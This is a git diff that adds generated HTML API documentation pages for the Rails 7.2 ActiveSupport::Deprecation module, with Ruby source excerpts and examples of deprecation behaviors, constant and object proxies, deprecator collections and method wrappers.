DEFAULT_BEHAVIORS={ +raise: ->(message, callstack, deprecator) do +e = DeprecationException.new(message) +e.set_backtrace(callstack.map(&:to_s)) +raise e +end, + +stderr: ->(message, callstack, deprecator) do +$stderr.puts(message) +$stderr.puts callstack.join("\n ") if deprecator.debug +end, + +log: ->(message, callstack, deprecator) do +logger = +if defined?(Rails.logger) && Rails.logger +Rails.logger +else +require "active_support/logger" +ActiveSupport::Logger.new($stderr) +end +logger.warn message +logger.debug callstack.join("\n ") if deprecator.debug +end, + +notify: ->(message, callstack, deprecator) do +ActiveSupport::Notifications.instrument( +"deprecation.#{deprecator.gem_name.underscore.tr("/", "_")}", +message: message, +callstack: callstack, +gem_name: deprecator.gem_name, +deprecation_horizon: deprecator.deprecation_horizon, +) +end, + +silence: ->(message, callstack, deprecator) { }, + +report: ->(message, callstack, deprecator) do +error = DeprecationException.new(message) +error.set_backtrace(callstack.map(&:to_s)) +ActiveSupport.error_reporter.report(error) +end +}
 

Default warning behaviors per Rails.env.

+ + + + +

Attributes

+ + + + + + + + +
+ [RW] + deprecation_horizon

The version number in which the deprecated behavior will be removed, by default.

+ + + + +

Class Public methods

+ +
+

+ + new(deprecation_horizon = "8.0", gem_name = "Rails") + +

+ + +
+

It accepts two parameters on initialization. The first is a version of library and the second is a library name.

+ +
ActiveSupport::Deprecation.new('2.0', 'MyLibrary')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation.rb, line 71
+    def initialize(deprecation_horizon = "8.0", gem_name = "Rails")
+      self.gem_name = gem_name
+      self.deprecation_horizon = deprecation_horizon
+      # By default, warnings are not silenced and debugging is off.
+      self.silenced = false
+      self.debug = false
+      @silence_counter = Concurrent::ThreadLocalVar.new(0)
+      @explicitly_allowed_warnings = Concurrent::ThreadLocalVar.new(nil)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Deprecation/Behavior.html b/src/7.2/classes/ActiveSupport/Deprecation/Behavior.html new file mode 100644 index 0000000000..9f0a09f412 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Deprecation/Behavior.html @@ -0,0 +1,293 @@ +--- +title: ActiveSupport::Deprecation::Behavior +layout: default +--- +
+ +
+
+ +
+ +

Behavior module allows to determine how to display deprecation messages. You can create a custom behavior or set any from the DEFAULT_BEHAVIORS constant. Available behaviors are:

+
:raise +
+

Raise ActiveSupport::DeprecationException.

+
:stderr +
+

Log all deprecation warnings to $stderr.

+
:log +
+

Log all deprecation warnings to Rails.logger.

+
:notify +
+

Use ActiveSupport::Notifications to notify deprecation.rails.

+
:report +
+

Use ActiveSupport::ErrorReporter to report deprecations.

+
:silence +
+

Do nothing. On Rails, set config.active_support.report_deprecations = false to disable all behaviors.

+
+ +

Setting behaviors only affects deprecations that happen after boot time. For more information you can read the documentation of the behavior= method.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + debug

Whether to print a backtrace along with the warning.

+ + + + + +

Instance Public methods

+ +
+

+ + behavior() + +

+ + +
+

Returns the current behavior or if one isn’t set, defaults to :stderr.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/behaviors.rb, line 74
+      def behavior
+        @behavior ||= [DEFAULT_BEHAVIORS[:stderr]]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + behavior=(behavior) + +

+ + +
+

Sets the behavior to the specified value. Can be a single value, array, or an object that responds to call.

+ +

Available behaviors:

+
:raise +
+

Raise ActiveSupport::DeprecationException.

+
:stderr +
+

Log all deprecation warnings to $stderr.

+
:log +
+

Log all deprecation warnings to Rails.logger.

+
:notify +
+

Use ActiveSupport::Notifications to notify deprecation.rails.

+
:report +
+

Use ActiveSupport::ErrorReporter to report deprecations.

+
:silence +
+

Do nothing.

+
+ +

Setting behaviors only affects deprecations that happen after boot time. Deprecation warnings raised by gems are not affected by this setting because they happen before Rails boots up.

+ +
deprecator = ActiveSupport::Deprecation.new
+deprecator.behavior = :stderr
+deprecator.behavior = [:stderr, :log]
+deprecator.behavior = MyCustomHandler
+deprecator.behavior = ->(message, callstack, deprecation_horizon, gem_name) {
+  # custom stuff
+}
+
+ +

If you are using Rails, you can set config.active_support.report_deprecations = false to disable all deprecation behaviors. This is similar to the :silence option but more performant.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/behaviors.rb, line 111
+      def behavior=(behavior)
+        @behavior = Array(behavior).map { |b| DEFAULT_BEHAVIORS[b] || arity_coerce(b) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disallowed_behavior() + +

+ + +
+

Returns the current behavior for disallowed deprecations or if one isn’t set, defaults to :raise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/behaviors.rb, line 79
+      def disallowed_behavior
+        @disallowed_behavior ||= [DEFAULT_BEHAVIORS[:raise]]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disallowed_behavior=(behavior) + +

+ + +
+

Sets the behavior for disallowed deprecations (those configured by ActiveSupport::Deprecation#disallowed_warnings=) to the specified value. As with behavior=, this can be a single value, array, or an object that responds to call.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/behaviors.rb, line 119
+      def disallowed_behavior=(behavior)
+        @disallowed_behavior = Array(behavior).map { |b| DEFAULT_BEHAVIORS[b] || arity_coerce(b) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedConstantAccessor.html b/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedConstantAccessor.html new file mode 100644 index 0000000000..0f8a9e2a30 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedConstantAccessor.html @@ -0,0 +1,283 @@ +--- +title: ActiveSupport::Deprecation::DeprecatedConstantAccessor +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + included(base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/constant_accessor.rb, line 6
+      def self.included(base)
+        require "active_support/inflector/methods"
+
+        extension = Module.new do
+          def const_missing(missing_const_name)
+            if class_variable_defined?(:@@_deprecated_constants)
+              if (replacement = class_variable_get(:@@_deprecated_constants)[missing_const_name.to_s])
+                replacement[:deprecator].warn(replacement[:message] || "#{name}::#{missing_const_name} is deprecated! Use #{replacement[:new]} instead.", caller_locations)
+                return ActiveSupport::Inflector.constantize(replacement[:new].to_s)
+              end
+            end
+            super
+          end
+
+          # Provides a way to rename constants with a deprecation cycle in which
+          # both the old and new names work, but using the old one prints a
+          # deprecation message.
+          #
+          # In order to rename <tt>A::B</tt> to <tt>C::D</tt>, you need to delete the
+          # definition of <tt>A::B</tt> and declare the deprecation in +A+:
+          #
+          #   require "active_support/deprecation"
+          #
+          #   module A
+          #     include ActiveSupport::Deprecation::DeprecatedConstantAccessor
+          #
+          #     deprecate_constant "B", "C::D", deprecator: ActiveSupport::Deprecation.new
+          #   end
+          #
+          # The first argument is a constant name (no colons). It is the name of
+          # the constant you want to deprecate in the enclosing class or module.
+          #
+          # The second argument is the constant path of the replacement. That
+          # has to be a full path even if the replacement is defined in the same
+          # namespace as the deprecated one was.
+          #
+          # In both cases, strings and symbols are supported.
+          #
+          # The +deprecator+ keyword argument is the object that will print the
+          # deprecation message, an instance of ActiveSupport::Deprecation.
+          #
+          # With that in place, references to <tt>A::B</tt> still work, they
+          # evaluate to <tt>C::D</tt> now, and trigger a deprecation warning:
+          #
+          #   DEPRECATION WARNING: A::B is deprecated! Use C::D instead.
+          #   (called from ...)
+          #
+          # The message can be customized with the optional +message+ keyword
+          # argument.
+          #
+          # For this to work, a +const_missing+ hook is installed. When client
+          # code references the deprecated constant, the callback prints the
+          # message and constantizes the replacement.
+          #
+          # Caveat: If the deprecated constant name is reachable in a different
+          # namespace and Ruby constant lookup finds it, the hook won't be
+          # called and the deprecation won't work as intended. This may happen,
+          # for example, if an ancestor of the enclosing namespace has a
+          # constant with the same name. This is an unsupported edge case.
+          def deprecate_constant(old_constant_name, new_constant_path, deprecator:, message: nil)
+            class_variable_set(:@@_deprecated_constants, {}) unless class_variable_defined?(:@@_deprecated_constants)
+            class_variable_get(:@@_deprecated_constants)[old_constant_name.to_s] = { new: new_constant_path, message: message, deprecator: deprecator }
+          end
+        end
+        base.singleton_class.prepend extension
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + const_missing(missing_const_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/constant_accessor.rb, line 10
+          def const_missing(missing_const_name)
+            if class_variable_defined?(:@@_deprecated_constants)
+              if (replacement = class_variable_get(:@@_deprecated_constants)[missing_const_name.to_s])
+                replacement[:deprecator].warn(replacement[:message] || "#{name}::#{missing_const_name} is deprecated! Use #{replacement[:new]} instead.", caller_locations)
+                return ActiveSupport::Inflector.constantize(replacement[:new].to_s)
+              end
+            end
+            super
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deprecate_constant(old_constant_name, new_constant_path, deprecator:, message: nil) + +

+ + +
+

Provides a way to rename constants with a deprecation cycle in which both the old and new names work, but using the old one prints a deprecation message.

+ +

In order to rename A::B to C::D, you need to delete the definition of A::B and declare the deprecation in A:

+ +
require "active_support/deprecation"
+
+module A
+  include ActiveSupport::Deprecation::DeprecatedConstantAccessor
+
+  deprecate_constant "B", "C::D", deprecator: ActiveSupport::Deprecation.new
+end
+
+ +

The first argument is a constant name (no colons). It is the name of the constant you want to deprecate in the enclosing class or module.

+ +

The second argument is the constant path of the replacement. That has to be a full path even if the replacement is defined in the same namespace as the deprecated one was.

+ +

In both cases, strings and symbols are supported.

+ +

The deprecator keyword argument is the object that will print the deprecation message, an instance of ActiveSupport::Deprecation.

+ +

With that in place, references to A::B still work, they evaluate to C::D now, and trigger a deprecation warning:

+ +
DEPRECATION WARNING: A::B is deprecated! Use C::D instead.
+(called from ...)
+
+ +

The message can be customized with the optional message keyword argument.

+ +

For this to work, a const_missing hook is installed. When client code references the deprecated constant, the callback prints the message and constantizes the replacement.

+ +

Caveat: If the deprecated constant name is reachable in a different namespace and Ruby constant lookup finds it, the hook won’t be called and the deprecation won’t work as intended. This may happen, for example, if an ancestor of the enclosing namespace has a constant with the same name. This is an unsupported edge case.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/constant_accessor.rb, line 65
+          def deprecate_constant(old_constant_name, new_constant_path, deprecator:, message: nil)
+            class_variable_set(:@@_deprecated_constants, {}) unless class_variable_defined?(:@@_deprecated_constants)
+            class_variable_get(:@@_deprecated_constants)[old_constant_name.to_s] = { new: new_constant_path, message: message, deprecator: deprecator }
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedConstantProxy.html b/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedConstantProxy.html new file mode 100644 index 0000000000..c708c73349 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedConstantProxy.html @@ -0,0 +1,379 @@ +--- +title: ActiveSupport::Deprecation::DeprecatedConstantProxy +layout: default +--- +
+ +
+
+ +
+ +

DeprecatedConstantProxy transforms a constant into a deprecated one. It takes the full names of an old (deprecated) constant and of a new constant (both in string form) and a deprecator. The deprecated constant now returns the value of the new one.

+ +
PLANETS = %w(mercury venus earth mars jupiter saturn uranus neptune pluto)
+
+# (In a later update, the original implementation of `PLANETS` has been removed.)
+
+PLANETS_POST_2006 = %w(mercury venus earth mars jupiter saturn uranus neptune)
+PLANETS = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("PLANETS", "PLANETS_POST_2006", ActiveSupport::Deprecation.new)
+
+PLANETS.map { |planet| planet.capitalize }
+# => DEPRECATION WARNING: PLANETS is deprecated! Use PLANETS_POST_2006 instead.
+     (Backtrace information…)
+     ["Mercury", "Venus", "Earth", "Mars", "Jupiter", "Saturn", "Uranus", "Neptune"]
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(*args, **options, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/proxy_wrappers.rb, line 121
+      def self.new(*args, **options, &block)
+        object = args.first
+
+        return object unless object
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(old_const, new_const, deprecator, message: "#{old_const} is deprecated! Use #{new_const} instead.") + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/proxy_wrappers.rb, line 128
+      def initialize(old_const, new_const, deprecator, message: "#{old_const} is deprecated! Use #{new_const} instead.")
+        Kernel.require "active_support/inflector/methods"
+
+        @old_const = old_const
+        @new_const = new_const
+        @deprecator = deprecator
+        @message = message
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + append_features(base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/proxy_wrappers.rb, line 158
+      def append_features(base)
+        @deprecator.warn(@message, caller_locations)
+        base.include(target)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + class() + +

+ + +
+

Returns the class of the new constant.

+ +
PLANETS_POST_2006 = %w(mercury venus earth mars jupiter saturn uranus neptune)
+PLANETS = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('PLANETS', 'PLANETS_POST_2006')
+PLANETS.class # => Array
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/proxy_wrappers.rb, line 154
+      def class
+        target.class
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extended(base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/proxy_wrappers.rb, line 168
+      def extended(base)
+        @deprecator.warn(@message, caller_locations)
+        base.extend(target)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+

Don’t give a deprecation warning on inspect since test/unit and error logs rely on it for diagnostics.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/proxy_wrappers.rb, line 141
+      def inspect
+        target.inspect
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prepend_features(base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/proxy_wrappers.rb, line 163
+      def prepend_features(base)
+        @deprecator.warn(@message, caller_locations)
+        base.prepend(target)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedInstanceVariableProxy.html b/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedInstanceVariableProxy.html new file mode 100644 index 0000000000..69ab2ff08e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedInstanceVariableProxy.html @@ -0,0 +1,146 @@ +--- +title: ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy +layout: default +--- +
+ +
+
+ +
+ +

DeprecatedInstanceVariableProxy transforms an instance variable into a deprecated one. It takes an instance of a class, a method on that class, an instance variable, and a deprecator as the last argument.

+ +

Trying to use the deprecated instance variable will result in a deprecation warning, pointing to the method as a replacement.

+ +
class Example
+  def initialize
+    @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, ActiveSupport::Deprecation.new)
+    @_request = :special_request
+  end
+
+  def request
+    @_request
+  end
+
+  def old_request
+    @request
+  end
+end
+
+example = Example.new
+# => #<Example:0x007fb9b31090b8 @_request=:special_request, @request=:special_request>
+
+example.old_request.to_s
+# => DEPRECATION WARNING: @request is deprecated! Call request.to_s instead of
+   @request.to_s
+   (Backtrace information…)
+   "special_request"
+
+example.request.to_s
+# => "special_request"
+
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(instance, method, var = "@#{method}", deprecator:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/proxy_wrappers.rb, line 88
+      def initialize(instance, method, var = "@#{method}", deprecator:)
+        @instance = instance
+        @method = method
+        @var = var
+        @deprecator = deprecator
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedObjectProxy.html b/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedObjectProxy.html new file mode 100644 index 0000000000..6e318b744d --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Deprecation/DeprecatedObjectProxy.html @@ -0,0 +1,124 @@ +--- +title: ActiveSupport::Deprecation::DeprecatedObjectProxy +layout: default +--- +
+ +
+
+ +
+ +

DeprecatedObjectProxy transforms an object into a deprecated one. It takes an object, a deprecation message, and a deprecator.

+ +
deprecated_object = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, "This object is now deprecated", ActiveSupport::Deprecation.new)
+# => #<Object:0x007fb9b34c34b0>
+
+deprecated_object.to_s
+DEPRECATION WARNING: This object is now deprecated.
+(Backtrace)
+# => "#<Object:0x007fb9b34c34b0>"
+
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(object, message, deprecator) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/proxy_wrappers.rb, line 39
+      def initialize(object, message, deprecator)
+        @object = object
+        @message = message
+        @deprecator = deprecator
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Deprecation/Deprecators.html b/src/7.2/classes/ActiveSupport/Deprecation/Deprecators.html new file mode 100644 index 0000000000..62a0301068 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Deprecation/Deprecators.html @@ -0,0 +1,492 @@ +--- +title: ActiveSupport::Deprecation::Deprecators +layout: default +--- +
+ +
+
+ +
+ +

A managed collection of deprecators. Configuration methods, such as behavior=, affect all deprecators in the collection. Additionally, the silence method silences all deprecators in the collection for the duration of a given block.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/deprecators.rb, line 10
+      def initialize
+        @options = {}
+        @deprecators = {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + [](name) + +

+ + +
+

Returns a deprecator added to this collection via []=.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/deprecators.rb, line 16
+      def [](name)
+        @deprecators[name]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + []=(name, deprecator) + +

+ + +
+

Adds a given deprecator to this collection. The deprecator will be immediately configured with any options previously set on this collection.

+ +
deprecators = ActiveSupport::Deprecation::Deprecators.new
+deprecators.debug = true
+
+foo_deprecator = ActiveSupport::Deprecation.new("2.0", "Foo")
+foo_deprecator.debug    # => false
+
+deprecators[:foo] = foo_deprecator
+deprecators[:foo].debug # => true
+foo_deprecator.debug    # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/deprecators.rb, line 34
+      def []=(name, deprecator)
+        apply_options(deprecator)
+        @deprecators[name] = deprecator
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + behavior=(behavior) + +

+ + +
+

Sets the deprecation warning behavior for all deprecators in this collection.

+ +

See ActiveSupport::Deprecation#behavior=.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/deprecators.rb, line 60
+      def behavior=(behavior)
+        set_option(:behavior, behavior)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + debug=(debug) + +

+ + +
+

Sets the debug flag for all deprecators in this collection.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/deprecators.rb, line 52
+      def debug=(debug)
+        set_option(:debug, debug)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disallowed_behavior=(disallowed_behavior) + +

+ + +
+

Sets the disallowed deprecation warning behavior for all deprecators in this collection.

+ +

See ActiveSupport::Deprecation#disallowed_behavior=.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/deprecators.rb, line 68
+      def disallowed_behavior=(disallowed_behavior)
+        set_option(:disallowed_behavior, disallowed_behavior)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disallowed_warnings=(disallowed_warnings) + +

+ + +
+

Sets the disallowed deprecation warnings for all deprecators in this collection.

+ +

See ActiveSupport::Deprecation#disallowed_warnings=.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/deprecators.rb, line 76
+      def disallowed_warnings=(disallowed_warnings)
+        set_option(:disallowed_warnings, disallowed_warnings)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+

Iterates over all deprecators in this collection. If no block is given, returns an Enumerator.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/deprecators.rb, line 41
+      def each(&block)
+        return to_enum(__method__) unless block
+        @deprecators.each_value(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + silence(&block) + +

+ + +
+

Silences all deprecators in this collection for the duration of the given block.

+ +

See ActiveSupport::Deprecation#silence.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/deprecators.rb, line 84
+      def silence(&block)
+        each { |deprecator| deprecator.begin_silence }
+        block.call
+      ensure
+        each { |deprecator| deprecator.end_silence }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + silenced=(silenced) + +

+ + +
+

Sets the silenced flag for all deprecators in this collection.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/deprecators.rb, line 47
+      def silenced=(silenced)
+        set_option(:silenced, silenced)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Deprecation/Disallowed.html b/src/7.2/classes/ActiveSupport/Deprecation/Disallowed.html new file mode 100644 index 0000000000..d8a63119b9 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Deprecation/Disallowed.html @@ -0,0 +1,119 @@ +--- +title: ActiveSupport::Deprecation::Disallowed +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [W] + disallowed_warnings

Sets the criteria used to identify deprecation messages which should be disallowed. Can be an array containing strings, symbols, or regular expressions. (Symbols are treated as strings.) These are compared against the text of the generated deprecation warning.

+ +

Additionally the scalar symbol :all may be used to treat all deprecations as disallowed.

+ +

Deprecations matching a substring or regular expression will be handled using the configured Behavior#disallowed_behavior rather than Behavior#behavior.

+ + + + + +

Instance Public methods

+ +
+

+ + disallowed_warnings() + +

+ + +
+

Returns the configured criteria used to identify deprecation messages which should be treated as disallowed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/disallowed.rb, line 21
+      def disallowed_warnings
+        @disallowed_warnings ||= []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Deprecation/MethodWrapper.html b/src/7.2/classes/ActiveSupport/Deprecation/MethodWrapper.html new file mode 100644 index 0000000000..13bfcf14fa --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Deprecation/MethodWrapper.html @@ -0,0 +1,155 @@ +--- +title: ActiveSupport::Deprecation::MethodWrapper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + deprecate_methods(target_module, *method_names) + +

+ + +
+

Declare that a method has been deprecated.

+ +
class Fred
+  def aaa; end
+  def bbb; end
+  def ccc; end
+  def ddd; end
+  def eee; end
+end
+
+deprecator = ActiveSupport::Deprecation.new('next-release', 'MyGem')
+
+deprecator.deprecate_methods(Fred, :aaa, bbb: :zzz, ccc: 'use Bar#ccc instead')
+# => Fred
+
+Fred.new.aaa
+# DEPRECATION WARNING: aaa is deprecated and will be removed from MyGem next-release. (called from irb_binding at (irb):10)
+# => nil
+
+Fred.new.bbb
+# DEPRECATION WARNING: bbb is deprecated and will be removed from MyGem next-release (use zzz instead). (called from irb_binding at (irb):11)
+# => nil
+
+Fred.new.ccc
+# DEPRECATION WARNING: ccc is deprecated and will be removed from MyGem next-release (use Bar#ccc instead). (called from irb_binding at (irb):12)
+# => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/method_wrappers.rb, line 35
+      def deprecate_methods(target_module, *method_names)
+        options = method_names.extract_options!
+        deprecator = options.delete(:deprecator) || self
+        method_names += options.keys
+        mod = nil
+
+        method_names.each do |method_name|
+          message = options[method_name]
+          if target_module.method_defined?(method_name) || target_module.private_method_defined?(method_name)
+            method = target_module.instance_method(method_name)
+            target_module.module_eval do
+              redefine_method(method_name) do |*args, &block|
+                deprecator.deprecation_warning(method_name, message)
+                method.bind_call(self, *args, &block)
+              end
+              ruby2_keywords(method_name)
+            end
+          else
+            mod ||= Module.new
+            mod.module_eval do
+              define_method(method_name) do |*args, &block|
+                deprecator.deprecation_warning(method_name, message)
+                super(*args, &block)
+              end
+              ruby2_keywords(method_name)
+            end
+          end
+        end
+
+        target_module.prepend(mod) if mod
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Deprecation/Reporting.html b/src/7.2/classes/ActiveSupport/Deprecation/Reporting.html new file mode 100644 index 0000000000..1d3d30cccf --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Deprecation/Reporting.html @@ -0,0 +1,336 @@ +--- +title: ActiveSupport::Deprecation::Reporting +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [RW] + gem_name

Name of gem where method is deprecated

+ [W] + silenced

Whether to print a message (silent mode)

+ + + + + +

Instance Public methods

+ +
+

+ + allow(allowed_warnings = :all, if: true, &block) + +

+ + +
+

Allow previously disallowed deprecation warnings within the block. allowed_warnings can be an array containing strings, symbols, or regular expressions. (Symbols are treated as strings). These are compared against the text of deprecation warning messages generated within the block. Matching warnings will be exempt from the rules set by ActiveSupport::Deprecation#disallowed_warnings.

+ +

The optional if: argument accepts a truthy/falsy value or an object that responds to .call. If truthy, then matching warnings will be allowed. If falsey then the method yields to the block without allowing the warning.

+ +
deprecator = ActiveSupport::Deprecation.new
+deprecator.disallowed_behavior = :raise
+deprecator.disallowed_warnings = [
+  "something broke"
+]
+
+deprecator.warn('something broke!')
+# => ActiveSupport::DeprecationException
+
+deprecator.allow ['something broke'] do
+  deprecator.warn('something broke!')
+end
+# => nil
+
+deprecator.allow ['something broke'], if: Rails.env.production? do
+  deprecator.warn('something broke!')
+end
+# => ActiveSupport::DeprecationException for dev/test, nil for production
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/reporting.rb, line 89
+      def allow(allowed_warnings = :all, if: true, &block)
+        conditional = binding.local_variable_get(:if)
+        conditional = conditional.call if conditional.respond_to?(:call)
+        if conditional
+          @explicitly_allowed_warnings.bind(allowed_warnings, &block)
+        else
+          yield
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deprecation_warning(deprecated_method_name, message = nil, caller_backtrace = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/reporting.rb, line 99
+      def deprecation_warning(deprecated_method_name, message = nil, caller_backtrace = nil)
+        caller_backtrace ||= caller_locations(2)
+        deprecated_method_warning(deprecated_method_name, message).tap do |msg|
+          warn(msg, caller_backtrace)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + silence(&block) + +

+ + +
+

Silence deprecation warnings within the block.

+ +
deprecator = ActiveSupport::Deprecation.new
+deprecator.warn('something broke!')
+# => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
+
+deprecator.silence do
+  deprecator.warn('something broke!')
+end
+# => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/reporting.rb, line 41
+      def silence(&block)
+        begin_silence
+        block.call
+      ensure
+        end_silence
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + silenced() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/deprecation/reporting.rb, line 56
+      def silenced
